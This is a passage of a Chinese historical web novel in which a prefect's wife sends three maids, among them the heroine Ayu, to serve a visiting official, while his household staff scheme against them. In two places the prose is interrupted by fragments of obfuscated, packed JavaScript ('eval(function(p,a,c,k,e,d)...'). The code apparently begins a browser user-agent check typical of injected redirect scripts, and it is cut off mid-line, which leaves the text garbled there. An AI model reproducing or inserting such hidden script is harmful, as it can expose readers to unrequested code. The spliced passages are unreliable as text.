张妈妈轻轻颔首,冷眼静静地观察了半晌众人的表现,而后不急不徐地点名道:“阿渔、云裳,汀兰,你们三人随我来。” 说罢,张妈妈转身离开。 闻言,汀兰一头雾水,不明所以。云裳最先反应过来,眼中骤然绽放出奇异的光芒,急急跟了上去。 阿渔若有所思地看着张妈妈离开的方向,又看到云裳抑制不住的喜悦,眼珠子一转,心下一片明了,亦抬步跟了过去。 5. 易名儿 北院正房 刺史夫人柳氏惬意地靠在贵妃榻上,身后一个梳着双丫髻的婢女正轻轻地为她捏着肩,跟前儿一个婆子拿来库房的册子。 柳氏抬抬手示意身后的婢女停下,一边翻开册子,一边细细叮嘱道:“眼下清明刚过,眼看便是端午、七巧、中元,礼单的事都仔细些,万万马虎不得。” 婆子诺诺应下:“其他都可照着往年的份例儿,只京城主家那边,以往都是送两纲瀑布仙茗,可今年自开春起便暴雨连连,水患淹坏了大批茶田,收上来的茶叶也都品相不佳......夫人看,可是要用去年的陈茶代替?” 闻言柳氏眉头一蹙。 吴州府的刺史刘文会出身寒门,婆子口中的京城主家,自然不是指刘氏一族,而是其妻所在的世家大族,河东柳氏。只是世家子弟众多,刺史夫人柳氏并非嫡女,而是系出旁支,如今柳氏嫡系一脉则入朝为官,迁离故土,居住在京城。 当今的柳家家主虽名义上是柳氏的叔父,血缘却早已出五服。若不是刘文会的出身、相貌委实太过拖累,以他连中两榜,进士及第的成绩,早便被那些世家小姐争抢,怎会轮到她一介庶女。好在她丈夫争气,官路亨通,一路顺畅坐到吴州刺史,柳家主家那边才对她们另眼相待。 时下世人重世家,轻寒门,柳氏知道丈夫仕途顺遂的背后离不开她出身河东柳氏的名头,故而每每逢年过节,便一次不落地往京城主家送孝敬。 柳氏主家也乐得顺水推舟收下,平日里对她们夫妇多有提携,京城里、朝堂上若有大动静也会给她们传个口信。譬如,此番圣上钦点南下治理水患的水陆运使是何目的、来路等底细,也是柳家主家那边第一时间遣人快马加鞭送来的,这才让柳氏起了送侍婢巴结的心思。 若叔父说的那些传言当真属实,那东院这位裴大人的仕途可远不止当今圣上一朝,若是能巴结上他...... 思及此,柳氏心下快速拿定主意,不容置喙道:“陈茶到底不体面,若是让叔父以为我们拿大,轻慢主家反而弄巧成拙。如今江南各州皆遭水患,但听闻淮南道今年风调雨顺,想来那里的茶叶应当不受影响,淮南的东白春芽同样是上品茶叶,拿出去不算掉价。这样,你速速派人前去采买两纲东白春芽,再将礼单里其他的物什一应多加两成,一并送去京城。” 婆子一一记下,门外一个丫鬟打帘进来,双手捧着一张洒金请帖呈给柳氏:“夫人,陈府派人送了帖子来,请夫人后日前去赴宴赏花。” 柳氏方才查看库册,拟定礼单累了眼,揉了揉额角,随意地摆摆手道:“晓得了,让张妈妈收起来罢,届时记得提醒我。” 丫鬟说:“回夫人,张妈妈方才出去了。” 柳氏一愣:“出去了?去了何处?” 丫鬟摇了摇头:“不知,看方向应该是后罩房。” 说曹操,曹操到。正说着,有人进来通报,说是张妈妈回来了,还带着三个婢女。 待人都进来后,张妈妈福了福身,走到柳夫人身边,弯腰凑近轻声耳语了几句,而后后退几步直起身子,面无表情地看向下首跪着的三人。 柳氏闻言皱了皱眉,露出几分不悦之色:“是有些不像话。” 跪着的三人身子一抖,连忙伏地告罪。 柳氏稍觉满意:“错了便要受罚,不过既然张妈妈已经对你们小惩大戒施过手板,我便不再额外惩罚。知道自己错了便要悔改,刺史府不是别的地方,仔细一个不慎冲撞了什么贵人,届时你们自个儿受罚不说,还会连累你们的家人。你们三人且记住了,今日之事万不可再犯!” 云裳、汀兰和阿渔磕头谢恩:“是,奴婢遵命。” 柳氏满意地点了点头,和身旁的张妈妈交换了个眼神,脸上带着几分笑意道:“都起来罢,正好我有件事要吩咐你们。” 三人心怀忐忑地起身,垂首看向地面,心怀各异。 “想来你们也已经听说了,咱们府里的东院住进来了一位京城来的贵人。贵人来的匆忙,只带了几个贴身的下人,现下东院人手短缺,我打算让你们三人前去伺候。”柳氏似笑非笑地说,长眸淡淡扫过下首的三人,不着痕迹地打量她们脸上的表情。 柳氏方才说的是伺候,这个词颇值得玩味。当牛做马洒扫浣洗是伺候,爬上主子的床榻当暖床丫鬟也是伺候,柳氏故意不明说,端看三人作何反应。 云裳自是喜不自胜,她原以为刺史夫人见了更貌美的阿渔便不打算把自己送去东院了,故而这几日乱了阵脚,今儿更是失态地与人大打出手,却不料喜事竟突然从天而降。一想到接下来的日子,云裳激动得双颊染上霞绯,使劲揉了揉帕子,难得流露出娇羞扭捏的姿态。 再看汀兰和阿渔,前者总算反应过来,亦难耐喜悦之色,与云裳不同,汀兰虽然也想去东院,但对于如何攀上贵人,以及攀上贵人后究竟有何不同却始终懵懵懂懂的,只她娘亲一门说得天花乱坠。 当上通房后便是半个主子,不用为奴为仆伺候别人,还可以差人伺候;吃穿用度更上一个台阶,还可以随意从小厨房点糕点;若是之后成了侍妾还可以消去奴籍...... 汀兰被她娘一番话说得心动不已,既然她娘都说好,那定然是好,别的暂且不说,至少不用干活还可以随便吃喝咧!汀兰美滋滋地想,那八十两银子花得真值! 三人中,唯阿渔不露声色,最为淡定。早在张妈妈罚她们打手板那时她便猜到了,身为罪奴之后,她的命运从一出生起便已经注定了,去哪里,做什么从来都由不得她做主,只...... 阿渔低头看向垂在身侧的两只手,可怖的红肿已然消退许多,却依然又疼又痒,而这样的感觉在她这些日子频繁地冷水和皂角浣洗衣裳以来,时常发生。 不过是去东院,只要不用每日洗衣裳总归是好的,阿渔想。 柳氏将三人的表现尽收眼底,心下已有论断,随即既是提点,也是敲打地笑着说:“东院的裴大人年轻有为,前途无量,你们去了都要仔细伺候,若伺候得不好,要我知晓,定不会请饶了你们。但若伺候得好,将来飞黄腾达也未可知,都可明白?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张妈妈未曾读过什么书,所识得的字不过只能用来看看账本,想不到这一层尚情有可原,但世家出身的柳氏却不能不多想。 柳氏叹了口气,轻轻摇了摇头道:“罢了罢了,改来改去倒不如原来的好,便还是唤作阿渔罢。裴大人才学渊博,既是送去给他使唤的婢女,还是让他取名字的好。” 柳氏的一句话把自己的责任摘出去,同时也让阿渔松了口气。 阿渔喜欢自己的名字,她才不想叫什么如意、锦瑟之类的。生在江河湖泊边的男女大都以水取名,阿渔也不例外,但她很喜欢自己的名字。 爹爹活着的时候,常说他与阿渔前世定都是属鱼儿的,一起在海里迷了路,这一世才托生成父女。但终有一天,他们能顺着长长的运河游入黄河,游回到他们既熟悉又陌生的渭水,回到他们的故乡。 柳氏深知打一巴掌给一个甜枣的御下手段,遂吩咐道:“张妈妈,你让绣房给她们每人拿两身儿新衣裳,毕竟是要去伺候贵人的,穿的鲜亮立整些。再让厨房送些冰块儿,裹上帕子将手敷一敷,待明儿个手消肿后便她们送去东院罢。” 张妈妈诺声应下,三人忙不迭福身道谢,随后便由张妈妈领着退下。 有人欢喜有人愁。 东院这边终于有人坐不住了,当夜趁着无人注意,偷偷寻至倒座房,找着一位小厮模样的仆人,从袖中取出几块碎银子,悄声吩咐了几句。 那小厮忙不迭应下,将银子收入怀中,随后二人悄然散去。 6. 留不得 阿渔三人手上的伤恢复得比想象中还要快,次日便消个七七八八,张妈妈来看过后,晌午便将她们领去了东院。 东院,西厢房 张妈妈脸上堆叠起讨好的笑意,同邹妈妈寒暄了几句,而后指着带来的人说道:“这三个婢女依次叫云裳、阿渔、汀兰,个个聪明伶俐,手脚利索,是刺史夫人特意精挑细选后,遣来伺候裴大人的侍婢,邹妈妈看可还满意?” 邹妈妈眼神扫过三人,在每人脸上都顿了顿,而后淡淡道:“看着都不错,刺史夫人费心了。” 张妈妈心里松了口气,笑着道:“邹妈妈哪里的话,夫人叮嘱奴婢,能为裴大人排忧解难便是府上的福分。东院设有汤池,刺史夫人知晓平日洒扫擦洗麻烦,遂除这三个婢女外,还令老奴送来两个小厮使唤,此刻他们正在厢房外候着,邹妈妈可要过一遍眼?” 邹妈妈客气道:“夫人的好意心领了,只是小厮倒可不必,除了身边的两位长随,大人不喜旁人近身伺候。大人事务繁忙,老奴在此替大人谢过刺史夫人。” 一番送客令下来,张妈妈嘴角一僵,讪讪地笑了笑,知情识趣地起身告退,领着外面的两个小厮离开了。 邹妈妈的年纪看着比张妈妈略大些,脸圆圆的,嘴角噙着一抹浅浅的笑意,看着平易近人,实则眼底一片冷淡疏离。 “你们既到了东院,便是东院的人,平日伺候主子要万般用心,切不可私下做出上不得台面的小动作。”邹妈妈意味深长地一番敲打。 她细细打量着下首花容月貌,环肥燕瘦,颜色各异的三人,见惯了美人的眼睛中也不由得划过一丝惊艳,心念一转说道:“院子里有处枇杷园,眼下正在开花,估摸着下月果子便会成熟。此处先前无人看顾,现下派给你们正好。” 云裳一喜,她早就打听出东院的布局,枇杷园在东院的正院中,是从前院回正房最近的路,邹妈妈此番安排无异于是在给她们送机会! 邹妈妈说罢,便不再多言,唤来一个少妇模样的仆人,让她领着她们去东厢房歇下。 阿渔等人刚走,一个相貌稳重端庄,梳着云髻,穿着白线挑衫儿,桃红裙子,似是丫鬟却打扮仔细的年轻女子迈进了东厢房,走到邹妈妈身边。 “嬷嬷。” 闻言,邹妈妈抬首看了她一眼,叹了口气,语重心长道:“都是伺候主子的,该是你的就是你的,个人有个人的缘法。嬷嬷活到这么大岁数宅子里的事什么没见过,有些事勉强不来的。”譬如情爱。 瑶琴眼眶一红,带着些许鼻音道:“嬷嬷我都知道,可我从未想要贪心许多。” 邹妈妈拍了拍她的手,知道她现在听不进去,只叮嘱道:“你心里有数就好,刺史夫人送来的那三个婢女,我安排到你住的东厢房了。你同她们好好相处,莫要吃醋斗嘴。” 瑶琴破涕为笑:“嬷嬷这是当我是小孩儿呢。” 邹妈妈笑道:“可不就是小孩儿。明明都是府里的一等丫鬟了,还哭鼻子,让旁人晓得了,仔细回京后你手底下的那群小丫鬟笑话你。” “她们敢!”瑶琴嗔道,随即想到什么,凑到邹妈妈身边,小声道,“不过我今日来找嬷嬷是要说另一件事。” 瑶琴神神秘秘地在邹妈妈耳边耳语了几句。 “什么?!她竟是......”邹妈妈闻言大惊失色,捂着胸口,朝窗外张望了一眼,而后压低声音,咬着牙用有些颤抖的声音说,“竟是罪奴!此事当真?” 瑶琴笃定地点点头:“当真!我初初听闻时也难以置信,便拿了些银子,寻了位小厮,托他去府里打听,不曾想果真如此。那人先前扮作小厮,府里有不小人都见过,虽没有确凿证据,但刺史夫人身边的婢女也透露那个叫阿渔的,是罪奴之后定然不假!” 邹妈妈咬牙切齿:“先前那个闹得厉害的,据说是个扬州瘦马。如今还送个罪奴给我们大人,刺史夫人到底安的是什么心!” 瑶琴紧了紧手中的帕子,试探道:“谁说不是呢!那小厮传消息回来后,我也是一惊,左思右想拿不定主意便赶紧来寻嬷嬷您。既如此,嬷嬷您看......” 邹妈妈此刻呼吸急促,脑里思虑纷杂,眼中闪过一丝狠厉:“这种人定然留不得!” 闻言,瑶琴勾了勾嘴角。 须臾,邹妈妈平复下来,眉头紧皱:“可人既已收下,不好再反悔,况那柳氏打着送婢女的旗号,倒也无可指摘。且让我想想如何是好,如何是好......” *** 东院虽然是刺史府的一处院子,但其实更像一座精美的园林。 从西厢房出来,到东厢房,途中经过一座灵动蜿蜒,如彩虹般凌空横架的飞虹,一方碧波荡漾的池水,还有数座假山楼庭。 领路的女使姓薛,并非是东院的大人从京城带来的下人,她男人是府里的一个小管事,故而她先前被派来看守院子,东院住进来人后,她因将院子料理得熟悉整齐,故而继续留了下来。因她年纪不大,还未到做嬷嬷的岁数,故而府里的人都称她为薛娘子。 薛娘子一边在前面带路,一边沿途轻声细语地介绍园子里的景色。 阿渔三人都是第一次来,难免好奇,不由得四处打量。 赏梅亭、举荷庭、狮子峰、含晖峰...... 阿渔在心里默念着假山楼亭上雕刻的牌匾字迹,不由得生出一个念头:建造东院的工匠真真是个雅人。 众人途经一座崎岖嶙峋的假山时,一阵风吹来,阿渔忽得眼前一暗,一片轻巧带着淡香的东西掉落在她的眼睫上,待摘下来一看,原来是一朵绿白色的小花儿。 阿渔清浅地笑了笑,提起裙摆,正待跟上众人的脚步,忽然瞥见不远处走来一道高大笔挺的身影。阿渔一愣,鬼使神差地抬首,细细去瞧那人的脸,待看清后,心头忽猛地一跳...... “挤什么挤什么,不能好好走路啊!没看见地上都是石头,仔细把我绊着!”云裳忽地被人往前一推,差点摔倒在地,待站稳后,拧着秀眉叉腰怒目而视。 “不是我,不是我。” “也不是我......” 众人叽叽喳喳,薛娘子正束手无策,眼角瞥见一个穿着石青色圆领窄袖长袍,腰间束革带,披着玄色潞绸披风的男子往这边来,连忙弯腰福身:“见过裴大人。” 喧闹的争执霎时间陡然噤闭。 裴正卿原准备出门巡查疏浚运河的进度,刚经过院子,忽然捕捉到一道视线落在他身上。他虽然是文官,可裴家祖上靠武功起家,随着晋太祖征战天下,也曾出过不少赫赫有名的武将,故而裴正卿自 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云裳仅用一瞬便看清形势,赶紧理了理形容有些散乱的衣裳鬓角,矫揉造作地弯了弯柳腰,眉角眼梢勾起一抹自认为最魅惑撩人的笑意,而后缓缓抬首,欲柔魅一笑暗送秋波。 方一抬首,见裴大人果真如传闻所言,清朗俊秀温文儒雅,一副君子模样,只是为何在看清她的容貌后,脸上却好像有点......失望? 裴正卿希冀的目光黯下,觉得自己分外可笑,明明远远看着那两人的身形与他记忆中的女子并不像,却还是不死心,想亲眼看到二人的样貌。 果不其然,虽同样貌美,却不是他心心念念的那个人。至于另一个,端看身高体型便对不上,更不需细看了。 对于薛娘子的回答,他随意地“嗯”了声,应付摆摆手:“去吧。” 说罢,他便头也不回地大步走了。 还不等云裳弄明白为何贵人刚看清她的相貌,脸上那般奇怪的反应,对方便毫不留念地离开了,见状云裳愈发糊涂了。一旁的汀兰一惊一乍道:“咦?阿渔妹妹,你为何在那儿?” 阿渔用眼角余光瞥见那道挺拔的身影走远后,从假山的一处凹陷中走出,信口拈来地编着借口:“方才不知谁脚下滑了一下,险些将我绊倒,发髻也带散了。见有贵人来,怕形容不整惹恼了大人,便急忙找了个角落整理云鬓。” “哦,是这样啊,我方才都没想到,阿渔妹妹你快帮我看看我的发髻可有散乱?”汀兰轻易便相信了。 阿渔随意帮她理了理,笑道:“好着呢,走吧。” 薛娘子在前面唤道:“好了好了,莫要乱走了,穿过前面的枇杷园便是东厢房了。” 一行人接着往东厢房走去。 阿渔寻了个机会走到薛娘子身旁,状若不经意地问道:“薛姐姐,听闻运使大人姓裴,方才那位大人也姓裴,可是运使大人的什么亲戚么?” 阿渔犹在心底抱有一丝丝侥幸,总不会那么巧的,应该不会那么巧......吧。 薛娘子扑哧一笑:“你这孩子看着聪明伶俐,怎的此时犯起糊涂来了。哪里是什么亲戚,方才那位裴大人就是京里派来的运使大人呐。” “......”阿渔不由得慢下脚步,呆愣在原地。 7. 角胜负 可那人分明是那夜溪边偷窥的登徒子! 虽然阿渔先前早隐隐约约有此猜测,毕竟出现在东院附近,还有那般气度的男人阖府上下掰着指头数也没有几个,除了那位从未露面的裴大人外,还能是谁? 思及先前对于老男人的猜测,再对比方才男人温柔端方的面容,以及挺拔如松的身影,阿渔仍有些不敢置信。 谁能想到传闻中年过而立,位高权重的裴大人竟......这般年轻! 两团红晕飞上阿渔的香腮,她捂紧脸颊,心跳狂跳不停。 要死了要死了,裴大人竟然看到了她洗澡!!! “东厢房共有四间屋子,三间为客室,一间为耳室。其中一间客室先前已有人住,她名唤瑶琴,是裴大人从京城带来的侍女。”薛娘子推开院门,指着眼前的屋子介绍道。 汀兰闻言好奇道:“薛姐姐,你们不住这儿么?” 薛娘子摇摇头,意味深长道:“妹妹说笑了,府里的丫鬟婆子,自是都住在各院的后罩房,这儿只有你们住。” 你们?阿渔敏锐地捕捉到薛娘子的用词,想来应该指的是她、汀兰、云裳,以及还未谋面的瑶琴。 刺史夫人看似送她们三人来当婢女,实则醉翁之意不在酒,府里的人应该都不难看出来。而邹妈妈将她们同瑶琴安排在一处,看来她们四人便是为裴大人准备的通房。 汀兰拉着阿渔去看房间,云裳紧跟其后不甘示弱。 只见客室房间内床榻、桌椅、衣柜、梳妆台等物什一应俱全,屏风后面还放着一个浴桶供人沐浴。相比较而言,耳室则稍显简陋,不仅房间大小明显局促拥挤,房内的家具也仅有床榻、案几、舆洗盆、储物架等,浴桶自然无法放下,只能勉强拉个帘子舀水站着洗。 不患寡而患不均。先住进来的瑶琴已经将一间客室占去,如今只剩下两间客室和一间耳室。而耳室条件之简陋,三人有目共睹,自是谁也不愿谦让。 薛娘子站在一旁端看三人的反应,丝毫没有站出来说话的意思,显然邹妈妈并未交代她如何分配房间,而依她的表现,似是亦打定主意置身事外。 既如此,汀兰提议三人猜丁壳来决定房间的归属。 猜丁壳古称藏钩,乃行酒令时的手势游戏,胜负与否全拼个人运气。 阿渔挑了挑眉,她幼时常与伙伴玩这个游戏,十有九赢,连阿爹都忍不住感叹吾儿真真是条极有运气的小鱼儿。既然汀兰如此提议,她自是没有理由不应。 云裳见阿渔点头,眼神不停地在她二人见来回巡睃,既担心她们给自己下套,又没有更好的办法,遂咬了咬牙也应下。 三人各怀心思地将右手背在身后,请薛娘子做庄。 随着薛娘子念完“石头、剪刀、布”,三人立刻出手! 待看清三人比划的手势,薛娘子笑了,随后宣布:“平局!” 只见三人不约而同地都出了“石头”。阿渔眉梢微挑,不曾想她们三人还有这般“默契”。云裳见状也松了口气,稍稍放下心来,看来是她方才多虑了。 薛娘子说:“既如此,那便再来一局罢。”说罢便要重新开始。 阿渔忽想到什么,赶紧打断问道:“稍等,事先说好,此番比试应当几局几胜?” 众人闻言一愣,经阿渔提起方才想起,竟差点忘了这岔子。若不事先定好规矩,恐有人输了要耍赖,届时便说不清了。 薛娘子不语,只挂着一抹客气的笑,静静等待三人的决断。 汀兰提议道:“三局两胜?” 云裳立刻唱反调:“不行!一局定胜负。” 汀兰撇了撇嘴,觉得云裳是故意跟她对着干,二人遂齐齐看向阿渔。 阿渔似笑非笑地看向云裳道:“既然猜丁壳是汀兰姐姐提出的,那规矩便依云裳姐姐罢,这样之后不论谁输谁赢都耍不得赖了,云裳姐姐觉得可好?” 云裳闻言不自在地收回目光,讪讪地咳了声,强自镇定道:“我可没有说要耍赖,届时你们不要莫耍赖才是。” 薛娘子看看这个,又看看那个,见众人都没有异议,遂再次开始念道: “石头” “剪刀” “布!” 这一次,总算分出胜负。 只见阿渔气定神闲地再次伸出拳头,云裳则面色难看地盯着自己摊开的手掌,一旁的汀兰愣愣地保持攥着拳头的姿势,突如其来的幸福让她有些不可置信,以至晕晕乎乎。 她迷迷瞪瞪道:“我......我赢啦?” 阿渔闻言觉得有些好笑,拍了拍她的肩膀,声音不大不小地说:“没错,我们赢了,可以住大屋子了!” 难以接受结果的云裳听到阿渔说的话,顿时红了眼,本想耍赖作闹一番,忽瞥见薛娘子笑着不语,静静地站在一旁。思及昨日在正院后罩房受的那顿手板,云裳蠢蠢欲动的心思骤然烟消云散。 云裳虽然冲动,但不傻,薛娘子是府里的人没错,但现在由邹妈妈管着,难说方才是否是邹妈妈让她借机观察她们。 她们初来乍到,若想顺利当上通房,少不得依仗邹妈妈。今日她若大吵大闹,定然不占理,若因此让邹妈妈生了厌恶,届时可就得不偿失。 思及此,云裳强行压住心下想要作闹的心思,狠狠呼出两口浊气,怒目而视地瞪着阿渔和汀兰二人,咬牙切齿道:“咱们走着瞧!” 汀兰得意洋洋,用手提起嘴角冲着云裳的背影做了个鬼脸:“略略略。” 薛娘子离开后,三人便安顿下来。 阿渔在刺史府的日子拢共不足三个月,加上先前扮作小厮多有不便,一个小包裹便是全部家当,转眼便收拾妥当。 汀兰是家生子,从小到大零零散散攒起来的物件最多,若是都搬来东院恐怕要搬一天一夜,所以她只带了绣房发的两件新衣裳,一些主子打赏的钗环首饰并一堆小玩意儿。 云裳虽不是家生子,却也在刺史府待了有近一年的时间。刺史夫人买她原本就另有用途,故而平日里只将她养在后罩房,一应胭脂水粉、衣裳首饰皆照着扬州瘦马的标准供应。因此,她的行李反而是三人中最多的。 安顿下来后,首一件事便是沐浴洗 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她解开乌黑的云鬓,拿起一旁方才丫鬟送来的茉莉香膏和皂角,用手搓出软绵绵的泡沫,待久违的甜腻香味充盈鼻端,阿渔嘟起小嘴儿,“呼”地轻轻一吹,泡沫便如天女散花般飘散落下。 待玩够后,阿渔才仔仔细细地擦洗身上。 虽是罪奴,阿渔却自小便被养得娇娇的,爹爹还会开蚌将珍珠磨成粉给她敷脸。海边风吹日晒,其他人都晒得面容黢黑,只有她一身儿皮肤如羊脂玉般白皙细腻,比那些达官贵人府里每日饮用燕窝粥的小姐还要娇软白净。 思及爹爹,阿渔骤然有些低落。 罪奴终身不得离开流放地,她离开家许久,不知阿娘和弟弟可还好。刺史府表面花团锦绣,实则处处暗流涌动。 对云裳而言,裴大人是救命稻草,但对阿渔而言,却不一定,故而阿渔不想,也不敢想旁的。她只想安安稳稳地呆在东院,不用做浣洗衣裳的辛苦活计,待裴大人治好水患离开吴州后,也许她便能回去和阿娘弟弟团聚了。 屋外,云裳打开窗户将水泼在院子里,留下一连串意有所指的骂骂咧咧,而后“砰”地一声合上窗户。 汀兰在房间内扯着嗓门,不甘示弱地回怼。 阿渔无奈地摇头笑了笑。忽然她听见屋外传来一阵轻细的脚步声,而后隔壁房间内的灯亮起,看来是那位叫瑶琴的婢女回来了。 翌日,辰时 东厢房的众人陆陆续续地起身,正待去枇杷园上值,阿渔三人便是在此时见到了瑶琴。 只见她相貌清秀,穿着云锦对衿衫儿,头上穿珠带钗,走过阿渔三人身边时只顿了顿脚步,微微颔首,而后便自顾自地抬脚离开,一副不愿深交的模样。 然而,方同阿渔三人错身离开,却见她脚下一停,客气地唤了声:“薛娘子。” “瑶琴姑娘。”站在不远处的薛娘子笑着同瑶琴点了点头,而后看向阿渔,“阿渔姑娘,眼下洒扫枇杷园的人手已经足够,正巧观雪亭无人打扫,邹妈妈让我来问问你,可愿意去打扫观雪亭?” 打扫观雪亭,在初夏? 阿渔闻言一愣,当真是正巧......吗? 8. 寻觅觅 无论是巧合,还是人为,既然邹妈妈派薛娘子过来这么说,便没打算给她选择的余地。 阿渔当即反应过来,笑着回道:“一切但凭邹妈妈做主。” 薛娘子招了招手:“既如此,你便随我来吧。” 阿渔被支去观雪亭,汀兰和云裳倒未另有安排,依旧去了枇杷园。 自那日见到瑶琴后,云裳顿感如临大敌。原先有貌美的阿渔珠玉在前已经足够令人苦恼,不曾想东院早有人近水楼台,虎视眈眈。 以云裳的火眼金睛,怎会看不出瑶琴那起子小心思,听说她原先是先头夫人院里的二等丫鬟,后来裴夫人亡故才被提拔为一等丫鬟。若说瑶琴不想再更进一步,云裳死也不信。 前有瑶琴捷足先登住进东厢房,后有汀兰小妮子蠢蠢欲动,云裳当即警铃大作,决定先下手为强。 枇杷园是出入东院正房的必经之路,若想在此处偶遇裴大人并非什么难事。 然而,那位裴大人委实是个名副其实的真君子,云裳每每还未近身便让他身边的贴身小厮拦住,莫说当面眉目传情表诉衷肠,便是连半片衣角都摸不到就给扔了出来。 真真是半分都不肯怜香惜玉,云裳羞恼地跺跺脚,一身儿本事无处施展。 云裳未尝没有想过,若不然干脆一不做二不休,直接爬床生米煮成熟饭。可正房看守极严,西耳房更是主子的书房,里面不知有多少朝廷密函,故而邹妈妈当着院内众奴仆的面三令五申,未得主子准许绝不能靠近,一旦靠近不论缘由,一律当场打死。 是故,云裳不得不歇了这个念头。 但云裳并未就此死心,一计不成她又生一计。东院的西北角有一处私汤,是刺史府特意修葺,以供贵人享用。 云裳眼珠一转,拿着两块崭新的银铤,买通了府里负责打扫汤池的小厮,在打探出裴正卿何时去汤池沐浴更衣后,精心梳洗打扮了一番,悄然混了进去。 然而,不知何处出了岔子,那日汤池中人并非是身份尊贵的裴大人,而是一个趁主子不在,胆大包天偷用私汤的下贱小厮。更糟糕的是,待云裳反应过来后,原想悄无声息地躲走,却被前来捉贼的邹妈妈一并捉住。 如此一来,此事可大可小。若当真追究起来,便是男盗女娼,合伙欺上瞒下,秽乱后院的罪名,届时无论是云裳,还是那个偷用汤池的小厮都要被打死。 然而,出人意料的是,邹妈妈意味深长地叹了口气,到底还是高高举起轻轻放下,只罚那日负责看守私汤的四名小厮各杖责二十,并罚没三个月的月钱。至于云裳,则禁足半月。 而那个偷用汤池的小厮便没那么好运,听说被打得半死,落得个残废扔出府外,至于之后生死如何众人便不得而知了。 汀兰将上述听来的闲话当作笑话讲给了阿渔听,心高气傲的死对头难得跌个大跟头,汀兰边说边笑得乐不可支,顺手从荷包中拿出一个皮青个小的枇杷咬了一口。 “哎呦,呸呸呸,酸死我了!”汀兰的脸被酸得皱成一团,连忙扔了那颗酸涩的青枇杷,吐着舌头到处找水。 阿渔想起今早自个儿煮那壶杏仁茶还有一些,遂忙不迭回房取了来,斟在青瓷敞杯里递给汀兰,哭笑不得道:“可不就是酸的,枇杷果最早仲夏才熟哩。眼下清明方过,你怎的想起摘这青枇杷了?” 汀兰急忙接过阿渔手中的杏仁茶,接连牛饮了几盅,方才缓解口中的酸涩,只舌头仍有些发麻,口齿不清道:“前几日见裴大人路过枇杷园时对着树上的青皮果子看了许久,我就是一时心生好奇,没忍住摘下来尝了尝,真是害死我了。” 汀兰捂着发酸的两颊抱怨,嘴里还嘟嘟囔囔道,那裴大人看着怪怪的,像是在寻什么人似的...... 说者无心,听者有意,阿渔咬了咬唇,眸光微闪。 莫非是在找她?阿渔心跳陡然变快,而后又笑自己自作多情,可......万一呢? 她脑中一团乱麻,不知应该期待那人是自己,还是不是自己。继而又忍不住去想,他为何要寻她、当真见到他后应该说什么、装失忆还是干脆装作不认识...... “啊!我的衣裳!”汀兰惊慌失措地尖叫。 阿渔回过神,顺着声音望去,只见汀兰眼眶含泪一脸心痛,而一旁原本应该整整齐齐叠放在床头的白纱挑线镶边裙,此刻两只袖子齐肩断落,前后两面皆被划成数道凌乱的布条,显然是被人刻意剪坏的。 汀兰紧紧攥着衣服,满脸怒容,恨恨道:“定是云裳!知道我有这件衣裳的只有我们几人,白日里我和你都在园子里上值,只有云裳被禁足不能出去,定是她在捣鬼!” 说罢她猛地转身,怒气冲冲地出门要同云裳对峙。见状阿渔及时一把拦住,说道:“你这样去,她不会承认的。即便我们心知肚明,此事多半是云裳捣鬼,但到底没有证据,就算闹到邹妈妈那儿,多半也只会不了了之。” 汀兰不服:“难道就这么放过她吗?” 阿渔叹了口气,劝慰道:“来日方长,总会讨回来的。眼下最重要的事是如何补救,你可还有其他衣裙?” 汀兰知晓阿渔说得在理,不得不捏着鼻子强行咽下这口气,思索一番后说道:“倒还有两件簇新的衣裳,是那日来东院前,夫人让绣房送来的两件丁香云绢妆花衫。” 既是打算给上官送作通房,柳氏自是下了血本,给三人都用了上好的云绢做衣裳,既舒服又体面,便是放在外面的绣楼铺子也值当不少银子。 阿渔擅女红,自然知道柳氏给的两件衣裳不差,于是说道:“虽不比你的白纱挑线镶边裙清丽,却也做工精致,用料讲究,是件好衣裳。” 听阿渔这么说,汀兰定下心来,去柜子里寻摸那两件以上。然而,待汀兰打开柜门,却发现其他穿过的衣裳都好好的,独独那两件丁香云绢妆花衫同样被剪得破破烂烂。 汀兰捧着那两件衣裳的残骸,心疼地眼泪直往下掉:“太欺负人了,太欺负人了!她把我的衣裳都剪坏了,我没指望了呜呜。” 原来汀兰之所以准备漂亮衣裳,是见云裳这段时日被禁足,便寻摸着眼下正是自个儿的好机会,遂蠢蠢欲动,伺机小意打扮一番给裴大人送糕点。 汀兰虽然在枇杷园当值,不负责院里的厨房,却并不妨碍她娘是府内厨房的管事妈妈,想要拿到一盘点心还是轻而易举的。除此之外,汀兰她娘还让人送进来了一件精致的衣裳,便是方才那件被剪得如同破布条的白纱挑线镶边裙。 如此一来,万事俱备,只需等待一个合适的时机,汀兰便可梳妆打扮一番,端着点心去裴大人面前露脸。 只是如今衣服还未穿出去,便遭了毒手。 阿渔看着汀兰手中被剪坏的衣服,亦不免觉得可惜,思忖片刻后说道:“不妨事,我有一件丁香云绢妆花衫未曾穿过,平日里锁在匣子里,藏在床下,想来应该还在。汀兰姐姐若是不介意,可以穿我的。” 汀兰闻言眼前重新恢复光亮,连忙握着阿渔的手确认:“妹妹果真愿意借我?” 阿渔笑着点了点头。 枇杷园里 裴正卿难得眼前清净,手中握着一卷诗集背在身后,看着树上的青皮果子,不由得想起那句“花褪残红青杏小”。 忽地,他闻道一抹茉莉香味,仔细一闻是茉莉香膏的味道,还夹杂着一股熟悉的微弱馨香。 “大人。”身后突然传来一道轻细细的女声。 裴正卿心念一动,胸中涌起一股莫名的期待。 “奴婢做了一碟儿酥油泡螺,大人若是看书累了,不妨尝一尝。”女子垂首弯腰娇羞道。 失望在心底不停地翻涌,排山倒海般向他袭来,不需要进一步确认,裴正卿已经确定眼前的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴大人治宅甚严,不准院里的下人随意同府里的人攀谈,便是她做小厮的时候都不曾东院的下人在府内闲逛,是故不可能是府里的下人主动泄露。 柳氏?应当不会,柳氏为人圆滑,除非邹妈妈问起,否则不会主动提及。 最有可能的便是云裳和汀兰。只是她们当日与她一样,初来乍到,便是想泄密也不会那么快。 一番排除,是何人告密便不难猜了。 